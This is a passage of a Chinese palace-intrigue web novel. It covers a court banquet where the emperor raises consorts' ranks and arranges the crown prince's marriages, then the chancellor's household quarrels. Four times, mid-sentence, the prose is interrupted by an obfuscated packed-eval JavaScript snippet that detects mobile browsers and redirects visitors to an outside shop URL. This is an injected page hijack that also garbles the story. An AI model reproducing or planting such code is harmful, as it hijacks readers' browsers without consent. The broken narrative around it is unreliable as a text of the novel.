席容贵妃自入宫以来,还未曾见过魏皇后如此失态之状,也不曾听闻她与皇上当年还有这样一段前尘往事,心中忽然有些失落。她受宠多年,早已将皇上视作自己一个人的夫君,即使明知道皇上和皇后才是正头夫妻,却也不愿承认。 “陛下瞧着这琴是否有些面熟?” “似乎是朕从前赏给你的。” “那年,臣妾刚刚十七岁,又怀上了身孕,陛下知道后欢喜极了,找来太医为臣妾诊了好几次脉,还在御花园为臣妾庆生,宴会上,臣妾不过随口赞了一句琴声悦耳,陛下就特意命人从国库中找出这把九霄环佩送给臣妾作贺礼。那时,陛下还对臣妾说,窈窕淑女,琴瑟友之,愿得伊人,执手余生,臣妾一直念念不忘。” “你的心意,朕都知道。” 魏帝说完,又向席容烟笑道,“你方才弹得极好,朕要重重赏你,你可有什么心仪之物?” “臣女能得陛下亲口称赞,已是三生有幸,不敢再要什么赏赐。” “欸,有功当赏,有过当罚,你只管说便是。” 席容贵妃见状,轻轻摇扇,道,“陛下,臣妾倒是有一个主意。” “爱妃请讲。” “古琴难得,知己难求,她既然不使古琴蒙尘,便是这琴的有缘人,臣妾斗胆借花献佛,想将此琴转赠于她,还望陛下允准。” “爱妃若是舍得,朕自然没有什么不同意的,改日,朕再为你挑选旁的珍玩就是。” “臣妾有陛下的心就够了,别的,臣妾都不在乎。” 魏帝面上欣慰,向她举杯示意。 席容贵妃欠身回敬,将杯中酒一饮而尽。 席容烟谢过恩典,下台落座,席容夫人向她赞许一笑,神情十分满意。 20. 百花竞芳泽 随后的节目,是太常寺卿裴志固之女裴怡欢自创的扇子舞。 裴怡欢身着茶白长衣,下摆处渐次晕开一圈圈绿纹,她水袖轻扬,羽扇流转,身姿袅娜,随风而动,舞得甚是清雅。 魏帝今日似乎兴致颇高,看了一时,又命人斟酒。 眼看桌上的一壶酒已经见底,小太监赶紧又换了新的上来。 魏皇后则是一副意兴阑珊的模样,一个人默默举杯遣怀。 席容烟此前从未饮过酒,现下看到皇上皇后同是饮酒,神色却是大相径庭,她有些好奇这酒的滋味究竟如何,便有样学样的端起杯子想要尝一尝。 她的唇尖轻碰水面,酒气扑鼻,她觉得有些呛,却还是小小啜了一口。 酒入喉中,她不觉蹙眉,果然,好难喝…… 她不死心的又喝了一口,结果这次直接被呛出了眼泪,慌忙用袖子擦拭。 眼波朦胧间,她竟瞥见上面的魏晗烨嘴角轻扬,正在目不转睛地盯着自己的狼狈样。 席容烟微微有些气恼,她不就是不会喝酒吗,这有什么好笑话的。 她瞪了他一眼,给自己斟上满满一大杯,横着心尽数饮下。饮罢,她强忍不适,将手中的空杯亮给他看。 魏晗烨淡淡一笑,抬手摇了摇桌上的酒壶,转头向云风吩咐了几句,不一会儿,云风便端了一壶新酒过来。 魏晗烨举起酒壶,也不命人斟酒,竟是直接对壶而饮,濯濯琼液,倾泻而下,魏晗烨连眼睛都不曾眨一下,便将整壶的酒尽数饮完。 席容烟目瞪口呆,他是怎么做到喝得如此之快,如此之多,面上还能如此怡然自得的? 魏晗烨拎着酒壶向她示意,似乎在说,该你了。 席容烟看看自己桌上的酒壶,欲哭无泪,这她如何能喝得下去。 幸而此时,台上的裴怡欢一曲舞毕,席容烟趁机岔开目光,伸手鼓掌,再不去看魏晗烨。 “你是裴志固的女儿?” “是,臣女裴怡欢叩见陛下,吾皇万岁万岁万万岁。” “免礼,朕听闻你父亲前些日子染了风寒,一连告了好几日的假,如今可都痊愈了?” “多谢陛下挂怀,家父如今尚未大好,但是饮食已经逐渐恢复如常。家父虽然身体抱恙,却一直心系陛下,今日入宫前,家父还特意叮嘱,一定要尽心一舞,但博陛下一笑。” 魏帝颔首笑道,“裴卿忠厚,生的女儿也是十分端庄。” 席容贵妃看着裴怡欢五官精致的脸庞,隐隐有些担心。 “陛下若是喜欢,臣妾便命宫中舞姬悉心排练此舞。” “朕倒觉得不必如此麻烦,这不就有一位现成的美人儿,你叫什么来着?” “臣女裴怡欢。” “怡欢,好名字,朕问你,你可愿意入宫侍奉?” “臣女愿意。” “如此甚好,朕就封你为怡贵人,赐居永和宫,具体事宜就交给皇后去办吧。” 魏皇后语调平和,“臣妾领旨。” 这是自席容贵妃入宫以来,魏帝第一次册封别的女子,所有人的目光都集中在新受封的怡贵人身上,只有席容夫人看向自己的女儿,半是担忧半是关切。 席容贵妃脸上的笑意略显僵硬,狠狠绞着手中的帕子,站在身侧的紫藤听见一阵阵绢帛撕裂的声音,连忙上前斟了一杯酒,趁机在席容贵妃耳畔轻轻提醒。 “娘娘,莫要失态。” 席容贵妃回过神来,不动声色的将帕子掖进袖子,举杯盈盈笑道,“臣妾恭喜陛下得此佳人,便以杯中之酒相贺,臣妾先干为敬。” 席容贵妃本就面容姣好,刚刚因为愤懑,颊上添了一抹绯红,此刻举杯相邀,模样更是娇羞可人,恰似贵妃醉酒之状。 魏帝一笑,“爱妃怎知自己就没有喜事呢?你入宫侍奉多年,如今,就连我们的漪儿都已经十三岁了,朕打算晋一晋你的位分。” 席容贵妃愣住,一颗死寂的心又活了过来。 魏皇后也有些诧异,“席容贵妃已是贵妃之位,陛下还要如何晋她位分?” “贵妃之上,还有皇贵妃,就晋席容贵妃为席容皇贵妃。” 魏皇后跪下劝道,“陛下,席容贵妃刚入宫时便已封妃,后来诞下公主又破格晋为贵妃,这已然是极高的殊荣了。而今,席容贵妃膝下并无子嗣,资历也远不如贤妃和淑妃,实在是不宜册为皇贵妃啊,还望陛下三思。” 皇后一跪,贤妃,淑妃,赵妃,荣嫔,庆嫔,郑嫔,芳贵人,英贵人,王贵人,丽常在,杨常在,白常在,孙答应,汪答应,刘答应等后宫诸人也都跟着跪了下来。 席容贵妃款款起身,跪道,“陛下,臣妾不求什么位分尊荣,只要能够长长久久的陪伴陛下左右,臣妾便心满意足了,陛下不必为了臣妾为难。” 魏帝抬眼扫了一遍跪着的人,忽然转身问道,“烨儿,你觉得呢?” 魏晗烨没想到父皇会把这个棘手的问题抛给自己,连忙理了理思绪,恭敬回道,“这是父皇的家事,儿臣不敢干涉。” 魏帝颔首道,“烨儿说得很对,后宫之事原本就是朕的家事,这与皇后何干,又与你们何干啊?难道你们还想要替朕作主不成?” 嫔妃们垂首跪着,不敢言语。 魏皇后沉声道,“陛下贵为一国之君,所谓家事,便是国事,臣妾忝居皇后之位,既是陛下之妻,亦是一国之母,臣妾绝不能坐视不管。” 魏帝面上微有怒色,“皇后,你莫要忘了朕同你讲过的话。” 魏皇后毫不畏惧的抬起头来,“臣妾斗胆问一句,陛下曾经说过的话,如今可还记得?” 魏帝直视着她的眼睛,语气决然,“朕,自然记得。” 魏皇后沧桑一笑,复又低下头去,“既如此,臣妾无话可说,请陛下自作决断吧。” “传朕旨意,席容琰赋性婉顺,端赖柔嘉,劳襄椒掖,敬勤弗怠,实乃后宫女子之楷模,即日起,册为皇贵妃,授尔金册金宝,摄六宫事。” 席容贵妃涕零而笑,连拜三下,“臣妾叩谢陛下隆恩。” “都起来吧。” 魏皇后扶了云英的手起来,“臣妾以为,宫中许久未有如此喜事,臣妾想请钦天监择出一个良辰吉日,将席容皇贵妃册封之事同怡贵人入宫之事一块办了,也好让后宫的姊妹一处热闹热闹,不知陛下意下如何?” “你是后宫之主,一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502728|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自然由你说了算,你既然说起热闹,朕倒想起这宫中也许久没有晋升过妃嫔了,不如趁此机会,一道册封几个。” “陛下所言极是。” “皇后可有中意的人选?不妨说来听听。” 魏皇后略一思量,回道,“贤妃和淑妃都是宫里的老人了,贤妃育有皇长子肃安王,皇五子哲远王,肃安王多次平定叛乱,战功赫赫,淑妃膝下的平乐公主远嫁西域,缔结姻亲,也是功在社稷。郑嫔,英贵人,白常在侍奉陛下多年,膝下皆有儿女,陛下可以垂怜一二。” “那便晋封贤妃为贤贵妃,平乐公主当年是以和硕公主的身份出嫁的,如今,朕便加封她为固伦公主,固伦公主许久未有书信还朝,朕和淑妃都甚是思念,朕不日会派使臣出使西域探望公主。另外,晋封郑嫔为郑妃,英贵人为英嫔,丽常在白常在为贵人,孙答应为常在。至于未得晋封的人,按照品级各自赏些物件,此事交由皇后去办,席容皇贵妃也可协助一二。” 魏皇后屈膝道,“臣妾代后宫姐妹谢过陛下。” 其余妃嫔跪下谢恩,齐声道,“谢陛下,谢皇后娘娘。” 席容皇贵妃看见席容夫人向自己使了一个眼色,她思虑了片刻,柔声笑道,“陛下今日难得有兴致,不如再选上几个可心的人。臣妾觉得,两淮都转运盐使司之女方氏,蜀州知府之女殷氏,吏部员外郎之女李氏都很不错。” “还有呢?” “还有大理寺右寺丞之女申氏,京县县丞之女冯氏,也都是一等一的美人儿。” “嗯,就让申氏入宫侍奉罢。” 第三排一个身穿黛蓝衣裳的女子出列跪谢,“臣女申如黛,见过陛下。” “抬起头来,让朕瞧瞧。” “果然不错,三千发如黛,花下笑相迎,你没有辜负这个名字。”[1] 魏皇后开口问道,“陛下预备给申氏什么位分?” “皇后以为如何?” “按照官阶,封个常在也就是了。” “就依皇后的意思,册封申氏为常在,不过,她怎么说也是皇贵妃举荐的人,朕再额外赐她一个封号。” 魏帝看了申如黛一眼,“你既穿了黛蓝色衣裳,名中又带了一个‘黛’字,朕就封你为黛常在。” 申如黛叩首,“臣妾叩谢陛下隆恩。” 席容皇贵妃微微屈膝,笑道,“谢陛下。” “爱妃想要如何谢朕啊?” 席容皇贵妃亲自斟了一杯酒,“臣妾再饮一杯,如何?” “爱妃海量,朕是知道的,这可做不得数。” 席容皇贵妃有些犯难,“不知陛下想要臣妾做什么?” “朕许久没有听爱妃的琵琶声了,今日,你可不能躲懒啊。” “臣妾许久不弹,技艺都有些生疏了呢,只怕陛下听了笑话。” 荣嫔开口道,“陛下您瞧,席容姐姐又要躲懒,这次陛下可不能依着她了。” 丽贵人笑道,“娘娘的琵琶乃是宫中一绝,阖宫中人,谁听了不心悦诚服的赞一声好,娘娘又何必如此谦虚呢。” 孙常在也跟着附和,“是啊,皇贵妃娘娘就弹上一曲吧,也好让我们姐妹开开眼啊。” 21. 霓裳羽衣曲 席容皇贵妃原本想要压轴出场,艳压群芳,只是先前已有席容烟琴艺卓绝,她便不预备再弹,看到现在这个形势,倒有些不好意思了起来,便命紫藤取来了琵琶。 “那臣妾就为陛下弹上一曲《月儿高》吧。” “好啊,朕记得你初见朕时,弹得也是这首曲子。” 席容皇贵妃卸掉右手的两根银镀金古法累丝指甲套,将逻逤檀木的双凤琵琶竖抱怀中,左手大指抵住琵琶背面,右手手臂自然垂落,五个手指轻触琴弦。 一时间,声沾云魂,韵染月魄,羽音和婉,摭弹切切,起承转合,悠然而落。 曲毕,众人自是赞不绝口,掌声雷动。 贤贵妃一面跟着鼓掌,一面同旁边的淑妃说,“这首曲子,我原也听宫中的乐妓弹过,倒好像和席容皇贵妃弹得有些不同。” “姐姐好耳力,平乐远嫁西域之前,我特意请了乐师教她弹琵琶,一来能讨得那些胡人的欢心,她的日子总不至于太难过,二来也能陶冶性情,好在思念故土的时候排忧遣怀。” 淑妃说至此处,不由得伤起心来,以帕拭泪,叹道,“也不知道这孩子如今怎么样了,嫁到那样荒蛮的地方,听说喝的水里都是沙子。这也就罢了,一开始好歹有书信往返,可是最近这几年,她连一封书信都不曾来过,叫我如何能不担心。” 贤贵妃连忙宽慰,“固伦公主的夫君可是西域的可汗,公主嫁了过去,也算是一国之后,不比我们在宫里讨生活要强上许多。若是公主以后再有了孩儿,便可继承汗位,到那时候,妹妹还有什么好愁的。” “哎,我呀,只盼着她平安快乐就好。说起来,那时候我也听过几次这首《月儿高》,它还有个名字,叫《霓裳羽衣曲》,据传是杨贵妃所作。” “《霓裳羽衣曲》?”淑妃点了点头,“难怪觉得有些熟悉,原来是我们素日常看的舞蹈。” “不错,音乐和舞蹈本就同源。乐师说,这首曲子讲的是月升月落的故事,共分为海岛冰轮、江楼望月,海峤踌躇、银蟾吐彩、苋露满天,素娥旖旎、浩魄当空、琼楼一片、银河横渡、玉宇千层、蟾光炯炯、玉兔西沉十二个段落。前面十一个乐段,月亮都是越升越高,只有最后一段月亮西沉,急转而下,皎皎明月,归于大荒,所谓的不同之处就在最后一段。席容皇贵妃在最后一段刻意放缓了旋律,多添了那么几分缠绵,听着便不似本来的韵律了。”[1] “人人都说,席容皇贵妃是位琵琶圣手,却不想也有弹错曲子的时候。” “我倒觉得她是刻意为之。” “妹妹的意思是,曲有误,周郎顾?” 淑妃笑了起来,“姐姐想到哪里去了,她如今还需要争宠吗?” 贤贵妃也笑了起来,“那是为了什么?” “月升月落,花开花谢,就像后宫中的荣宠一样,哪个女子不希望自己长久的居于高位,长久的一枝独秀。” “她那样得宠,竟还迷信这个?” “越是得宠,越是患得患失,你我当年不也是这样吗,不过是后来有了子女,也明白了红颜有尽处,君恩无始终的道理,渐渐看淡了这些。” “命里有时终须有,命里无时莫强求,怕又有什么用,一样躲不掉的。” 淑妃向上瞧了一眼,看见无人注意这边,才道,“姐姐慎言。” 贤贵妃摇摇头,却也不再说话,继续观看台上的节目。 后面还有一些舞蹈,诸如《太平舞》、《采莲舞》、《绿腰舞》、《长袖舞》等等,再便是国子监祭酒之女陆氏献的“福”字,光禄寺少卿之女孟氏清唱的一首《关雎》,也有几位演奏乐器的女子,只是因为席容皇贵妃和席容烟珠玉在前,她们这些听着倒是寻常之音了。 宴会的最后,照例是由宫中的舞姬献上队舞《庆隆舞》,取其喜庆兴隆之意。 魏帝龙颜大悦,“我大魏果然是人才济济,凡今日登台献艺者,朕一律有赏。” 众人齐齐跪下,高呼万岁。 “说起来,席容皇贵妃的琵琶,席容烟的古琴,都弹得极好,席容夫人,你功不可没啊,朕要赏你一万两银子。” 席容夫人连忙推辞,“陛下谬赞了,这万两白银实在太过贵重,万万当不起,还请陛下收回成命。” “朕说你当得起,你便当得起。” 席容夫人这才谢了恩典,复又归座。 “霍皓辰的剑舞,陆氏的福字,倒也别出心裁。” 魏帝说着,看了一眼魏晗烨,唤道,“烨儿啊。” 魏晗烨起身拱手,“儿臣在。” “朕意欲将霍氏与你为侧妃,陆氏与你为侍妾,你意下如何啊?” 魏晗烨第一个反应,竟是去看席容烟的表情,只见她正颇为惊讶地看向自己。 魏皇后欢喜道,“辰儿乃是大将之女,即便做你的正妃也是绰绰有余的,陆氏出身清流,瞧着也是个柔和安静的好孩子,烨儿,还不快谢过你的父皇。” 席容烟不自觉紧张起来,心道,不会吧,自己还没有嫁进东宫,就要多了几位“姐妹”,想想宰相府中的诸多光景,已然是颇为恐怖了,更何况是宫中,陆氏瞧着还好,霍氏之前的眼神恨不能撕了自己,哪里是个好相处的。现下,魏晗烨已经厌恶自己的出身了,魏皇后更是不会待见自己,自己又没有席容夫人那般本事,哎,真是头疼,不过现在想这些也没有用,左右自己也说了不算,倒还不如表现得坦然一些。 魏晗烨瞧着她的神色由晴转阴,又由阴转晴,倒是十分有趣。 “烨儿,朕在同你讲话。” 魏晗烨回过神来,“儿臣谢过父皇——” 他的话还没说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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席容皇贵妃难得帮着魏皇后说话,“陛下先前不是还说,霍皓辰行止之间颇有大将风范,不能用寻常的闺阁礼仪束缚了她,这会子怎么倒忘了。” 魏帝皱眉,“朕说过吗?” 席容皇贵妃上前一步,原本想要偎在他的怀里,碍着在于人前,不好太过放肆,便只是拉住他的手,柔声道,“陛下金口玉言,可不能反悔呀。” 魏帝原本也不想真的处置霍皓辰,只是碍于面子,一时下不来台罢了,现下自然是见好就收。 “既然大家都为你求情,朕也不想再追究你了,只是你如此忤逆,实在太不像话了。” 魏皇后忙道,“陛下放心,臣妾一定会好生教导她的。” “仪鸾宫备下了陛下爱吃的茶点,陛下去吗?” “不必了,朕要去中宫同皇后商量一下册封的事,这是大事,更是喜事,定要好好操办。你为这赏花宴也辛苦好几日了,早些回去休息。” “那臣妾恭送皇上,恭送皇后娘娘。” 众人也齐声道,“恭送皇上,恭送皇后娘娘。” 一时,众人各自散去,席容皇贵妃留下席容夫人和席容烟叙话。 22. 牡丹仪鸾歌 仪鸾宫内,浮花数点含宿雨,香尘无数散余馥。 “娘娘今日真是得意,皇贵妃啊,母亲做梦都不敢想你能走到这个位置。” “这算什么,本宫想要的还在后面呢。” “不过,皇上也并未完全驳了皇后的面子,皇后提的晋升人选,皇上都应准了。” “是啊,想想就来气,平白给了她邀买人心的机会。贤妃淑妃也就罢了,至于其他人,还不是皇后一党,成日哈巴狗似的围着皇后献殷勤。” “娘娘慎言,她毕竟是皇后,娘娘也得让她几分,别给旁人落下话柄。” “这不是在自己宫里吗,说说又有何妨。” “越在高位,便越要当心。” “好了,母亲,女儿都记住了。对了,女儿还有一事要同母亲讲。” 席容皇贵妃说着,却是有意无意瞥了一眼席容烟。 席容烟何等乖觉,立时便明白了她的意思。 “母亲,长姐,你们聊着,我去外面逛逛。” “兰鸢,你陪着烟姑娘,不可怠慢。” 兰鸢应了声是,便跟着席容烟一道出来,紫藤在内关上了门。 席容烟缓步走到仪鸾宫的正殿,端详起了置于窗子两侧的粉彩牡丹纹凤尾尊,尊内插着五六枝红艳的牡丹。 “长姐似乎很喜欢养花,我方才在内室也见到了类似的凤尾尊,只是里面的花却不像是牡丹。” “姑娘怕是看错了,娘娘宫中只有牡丹一种花卉。” “不对啊,那花明明是白色,怎么会是牡丹花呢?” “姑娘有所不知,那是花房精心培育出来的白雪塔牡丹,状如楼子,瓣有紫晕,初时绿白,盛时雪白。其实,我们宫里也不单单只有白色牡丹,榻前案下,窗侧几畔,牡丹的品种多了去了,姑娘多逛逛,多见见就知道了。” “怪不得觉得这里芳香四溢,味道格外恬淡自然,我还一直辨不明白究竟是什么香气,没想到竟是牡丹,这些都是皇上为长姐布置的吗。” “自然,娘娘喜欢牡丹,皇上便命花坊尝试新的颜色、式样、香气,听说最近研究出了一种豆绿色的牡丹,团如绣球,色如青豆,最奇的是,它可以随着阳光的明暗深浅,呈现出颜色的渐变,只是不太耐活,花坊的人还在想办法改进。” 席容烟痴痴听着,“能得皇上如此疼爱,长姐怕是人世间最幸福的女子了。” 兰鸢点头,“皇上待娘娘的确极好,我们这些丫鬟瞧着,心里也是羡慕的。” 席容烟思忖一会儿,又想起了在赏花宴上见到的几位嫔妃。 “那么皇上待皇后如何,待其他嫔妃又如何,方才席间,我看皇上对她们也还不错。” 兰鸢有些踌躇,“这——” “皇上已经将我指给了太子殿下,我迟早都是要入宫的,若是能早些知晓这些事,以后也能少些周折,无论是长姐还是母亲,都不会怪你的。” 兰鸢想了一时,觉得的确是这个道理,便将宫里的前尘往事婉婉道来。 “贤贵妃和淑妃在前朝的时候就跟了皇上,那时皇上还只是一个饱受猜忌的异姓王爷,前朝皇帝将他遣往边关平乱,暗地里则埋下伏兵取他性命,幸好咱们皇上早有防备,连夜用快马将一家老小全部接出京城,传说贤贵妃当时动了胎气,在马背上生下了皇长子肃安王,因此肃安王后来金戈铁马,格外骁勇。皇上登基之后,为了巩固朝政,尊了前朝皇帝为先帝,还迎娶了魏皇后。魏皇后是先帝之义妹,前朝宰相霍霆之长女,后来又被当今太后认作义女,这样一来,皇上的皇位也就名正言顺了。” “如此说来,皇上和皇后的结合只是一种政治联姻,皇上需要霍家的势力来保自己皇位永固,霍家也想靠着皇戚的身份权倾朝野?” “的确如此,皇上在魏皇后生下魏晗烨,魏晗煜之后,便不大往中宫去了。” “魏晗煜?可我记得皇后只有魏晗烨一个儿子啊。” 兰鸢的神情有些古怪,“魏晗煜是魏晗烨的双生弟弟,二人出生不过隔了一刻钟的功夫,长得十分相似,只是魏晗煜五岁那年夭折了,宫里知道这事的人不多,姑娘也别多想才是。” 席容烟略一点头,猜出这事定和席容皇贵妃有干系,只怕也有席容炎的参与,便只道,“那么,宫里的其他人也是这种联姻吗?” “这倒说不准了,不过娘娘定然不是。那时候我们老爷尚在地方任职,因为政变才有了入朝为官的机会,他费尽心思到处打点,也不过是一个朝廷上最不入流的一个小官,带累着我们娘娘连去参加赏花宴的资格都没有,只能在御花园里当个宫女。谁能想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502730|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到,御花园里的一次偶遇,竟让皇上对她一见钟情,直接封了妃位,自此恩宠不断,嫁与这样的男子,怕是世间所有女子的梦想了吧。” “愿得一心人,白头不相离,只是皇上如何一心?他纵然喜欢长姐,却也还是纳了许多女子入宫,不是吗?”[1] “姑娘也太苛刻了,皇上毕竟是皇上,做到独宠已是不易,如何还能要求一心,不知道世上有多少女子飞蛾扑火一般,只求皇上能多看一眼呢。” 兰鸢有些激动,耳朵根儿都红了起来。 “你急什么,皇上九五之尊,自然是世上一等一的好男子,我不过说说自己的想法罢了,你且说说旁的妃嫔,我记得魏皇后在宴会上提了几个名字,她们可是同她一伙的?” 兰鸢觉察自己失态了,不免有些懊悔,定了定神方道,“后宫关系盘根错节,一时半刻也很难说清楚,姑且可以分作三派。一派是魏皇后,郑妃,英嫔,白贵人,刘答应,一派是我们娘娘,荣嫔,芳贵人,丽贵人,孙常在。还有一些妃子不站队不表态,自成一派,譬如贤贵妃,淑妃,庆嫔,王贵人,她们或仗母家,或有子嗣,或无所求,并不肯搅入两派纷争,剩下的那些位分低,不得宠,没人在乎她们是哪一边的人。” “不站队不表态的人,最后还是被归为一派,真是可笑可叹,我倒宁愿是后面那些人,没有荣宠,乐得清静。” “没有荣宠便是没有活路,乐得清静便是如同冷宫,这些,姑娘慢慢就知道了。” “说得也是,世间从来就没有两全的法子,不过是牺牲了这个,换来了那个。” “正是这个理儿。” 席容皇贵妃此时笑着走了过来,“你们聊什么呢?” 席容烟回身笑道,“正向兰鸢讨教宫里的事。” “宫里的事一时半会可讲不清楚,你若爱听,以后常来长姐这里,长姐讲给你听。” “那先谢过长姐了。” “紫藤,你去瞧瞧晚膳好了没,本宫今日要留母亲和三妹吃饭。” 席容夫人道,“娘娘,天色不早了,我们再呆下去就该不成规矩了。” “母亲也太小心了,只是一顿饭而已。” 席容夫人却不肯依,执意要走,席容皇贵妃只得命人好生送了出去,又赏赐了许多物件。 23. 软香娇莺儿 宰相府,软香阁。 锦帷初温,珠帘半垂,兽烟轻袅,流逸开来,一只金缕鞋倾斜着伏在地上,幽微的烛火飘忽不定,映衬出大红色的亵衣,粉白色的藕臂。 席容炎看着怀中的人儿娇软无力,两靥流霞,不禁心中大动,将手覆在了她的脸颊上。 “莺儿,你这张脸,可真美。” “老爷~你又取笑奴家~” 二人正在温存,忽然听见砰的一声,门一下子被人踹开,席容炎一惊,还没来得及查看,便见一只鞋冲自己迎面飞了过来,不偏不倚的砸在脑门上。 席容炎本来正在兴头上,他忽然挨了这么一下,岂有不怒的道理,正待发作,看见来人,却是懵了,磕磕绊绊道,“夫,夫人。” 莺儿柳眉微颦,上下打量着席容夫人,盈盈笑道,“这位夫人可是来同乐的?” 席容夫人看也不看她一眼,“滚出去。” 莺儿贴在席容炎身上,娇声道,“老爷~” 席容炎毫不留情地推开了她,“夫人让你滚,你没听到吗?!” 莺儿羞红了脸,捡起散落一地的衣裳,光着一只脚就往外跑。 “站住!”席容炎把手里的鞋子扔了过去,又道,“一会儿我会派人到你房里去送药,乖乖喝了,别耍什么滑头,否则我就把你送回红翠馆。” 莺儿低低应了,出去前还不甘心地瞥了一眼席容夫人。 席容夫人也不理会,吩咐道,“华盛,你去门口守着,一个人都不准放进来,我同老爷有话要说。” 席容炎此时已经穿好了衣服,看见华盛关紧了门,便过来陪笑道,“夫人这是怎么了,动了这么大的气,哪个不晓事的惹了夫人,夫人尽管告诉我,看我不把他打个半死。” “老爷这话是认真的?” “那是自然,我几时骗过夫人?” “哼,那就请老爷先把自己打个半死吧。” 席容炎也不生气,仍是陪笑,“我若是动手了,你岂有不心疼的,不就是一个娼妓吗,也值得你动这么大的气。” “娼妓?老爷别当我眼瞎,认不出她长得像谁!” 席容炎讪讪道,“只是眉眼之间略有些相似罢了,我也是一时兴起,才把她带回府里的。” “老爷你可别忘了,席容烟的身份是席容家的三小姐,她是你的养女啊,你在府里弄了这么一个同她容貌相似的玩意,就不怕别人戳你的脊梁骨吗!” “我又不会带她出去,好好藏在府里,谁能知道。” “谁能知道?”席容夫人重复了一遍,冷笑道,“老爷就不好奇,我是怎么知道的?” “对啊,夫人今天不是去宫里赴宴了吗,怎么会——” “怎么会知道你这些丑事对吧,我来告诉你,这些,都是女儿同我讲的,我起初还不信,直到刚才亲眼看见才算信了!” “琰儿?不是,她久居深宫,怎会有空过问这些?难道她在我身边安插了人手,监视着我的一举一动?” 席容夫人气得不行,伸出食指重重点了他一下,“你个木鱼脑袋,女儿监视你做什么?你也不想想,这种事怎么会平白无故传到宫里去,又怎么会正好赶在席容烟成为准太子妃的当口,枉你聪明一世,真是昏了头了!” 席容炎这才反应过来,“可恶!竟然算计到这上头来了!” “苍蝇不叮无缝蛋,谣言不找谨慎人,归根结底,还不是你自己存了不该有的念头。” “夫人别急,我这就把她送回去。” “不可,她长了那样一张脸,留在外头,迟早是个祸害。” “那就杀了她。” “也不行,你今日把她带回宰相府,多少人都亲眼瞧见了,她若是一下子死在了府里,还不知道要掀起多大的风浪呢,眼看席容烟就要嫁进东宫,这个当口不宜生事。” “那,夫人以为,应该如何是好?” 席容夫人思忖片刻,道,“先关着她,不准她出宰相府半步,等到席容烟嫁进了东宫,再找个由头撵她出去,派人在外头结果了她。” 席容炎亲自斟了一杯茶,递了过去,“都听夫人的,来,喝口茶,顺顺气。” 席容夫人白他一眼,呷了口茶,接着道,“还有一事,我要与你问个明白。” “还有?我只带了莺儿回府,绝对没有其他人了,这一点我可以向天发誓。” “瞧你那点出息吧,我想要和你说的是皇上今日赏了我一万两白银的事儿。” “这事儿我知道啊,寒星都告诉我了。” “可是女儿让我转告你,用这笔钱尽快把窟窿补上,你倒是说说看,哪里来的窟窿?” 席容炎摊摊手,“琰儿都跟你说到这份上了,你又何必再来问我。” 席容夫人急了,“老爷胆子也太大了,这种事是要掉脑袋的!” “皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502731|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上把赏花宴的差事给了琰儿去办,可户部批的银子统共就那么一点,她凑不出银子,我总不能不借吧,何况,这么一来一回不都补回来了吗。” “银子,你还缺银子吗,府里有那么多奇珍异宝,随便卖出去一件都是价值连城,老爷干嘛非得动用蜀地的赈灾款啊?” “我堂堂一个宰相,只有买东西的道理,怎能把东西卖出去,那不是给人看笑话吗。” “面子重要还是性命重要?原本就是一个给皇上撑场面的事,办好无功,办砸无过的,现成的旧例摆在那里,统共能用几个钱,非得为着别出心裁,白白赔上自家的银子?” 席容炎绕到她的后身,拢袖给她揉肩,“夫人这就不懂了吧,若不是琰儿把赏花宴办得如此漂亮,皇上为何晋了她皇贵妃的位分,为何允了魏晗烨和席容烟的婚事,又为何赏了你足足一万两白银?对皇上来讲啊,面子的事就是天大的事。” 席容夫人反手握住席容炎的手,同他十指相扣,认真地说,“我不管,我只要你好好的,女儿好好的,这个家好好的,你答应我,以后再不许做这种蠢事。” “好,都听夫人的,夫人现在不生气了吧。” “这还差不多。” 席容炎瞥见她腕上有些变形的金镯子,皱了皱眉,“怎么还戴着这个?” “前两天收拾箱笼翻出来的,就戴上了,这人啊,越老就越念旧,看着它就想起了从前的日子,便不舍得摘下来了。” “从前?”席容炎叹了口气,“从前,真是委屈夫人了。” “不,我不觉得从前的日子有什么不好。那时候,老爷虽然官位不高,但是养活一家子的衣食住行也够用了。小小的院子里,我们的心连在一处,后来,我们又有了女儿,她生性活泼,常常找你捣乱,用袖子沾了墨汁,将你案上的公文改的一塌糊涂,你却也不恼,极有耐性地陪她趴在地上涂涂画画。” 